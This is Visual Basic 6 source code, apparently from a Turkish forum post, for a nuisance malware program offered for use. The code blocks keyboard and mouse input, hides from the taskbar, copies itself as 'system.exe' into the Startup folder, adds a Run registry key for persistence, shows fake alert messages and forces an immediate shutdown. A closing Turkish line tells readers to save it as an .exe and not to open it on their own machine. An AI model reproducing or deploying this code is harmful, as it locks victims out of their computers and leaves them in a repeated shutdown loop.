Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Initialize()
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "" & ad
FileCopy TamYol, "C:Documents and SettingsAll UsersStart MenuProgramlarBaşlangıçsystem.exe"
End Sub
Private Sub Form_Load()
BlockInput True
App.TaskVisible = False
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCUR RENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
Me.Hide
End Sub
Private Sub Form_Terminate()
Dim ac, d1 As String
d1 = "C:Documents and SettingsAll UsersStart MenuProgramlarBaşlangıçsystem.exe"
ac = Shell(d1)
End Sub
Private Sub Form_Activate()
Form1.Caption = "By OzyMozyKozy"
MsgBox "PC COKUYOR"
MsgBox "SIFRE : 0S1A2K3A"
Shell ("shutdown -s -t 1")
End Sub
kodları .exe dosyası olarak farkl kaydediyoruz.Ama sakın KENDİ BİLGİSAYARIMIDA AÇMAYALIM. |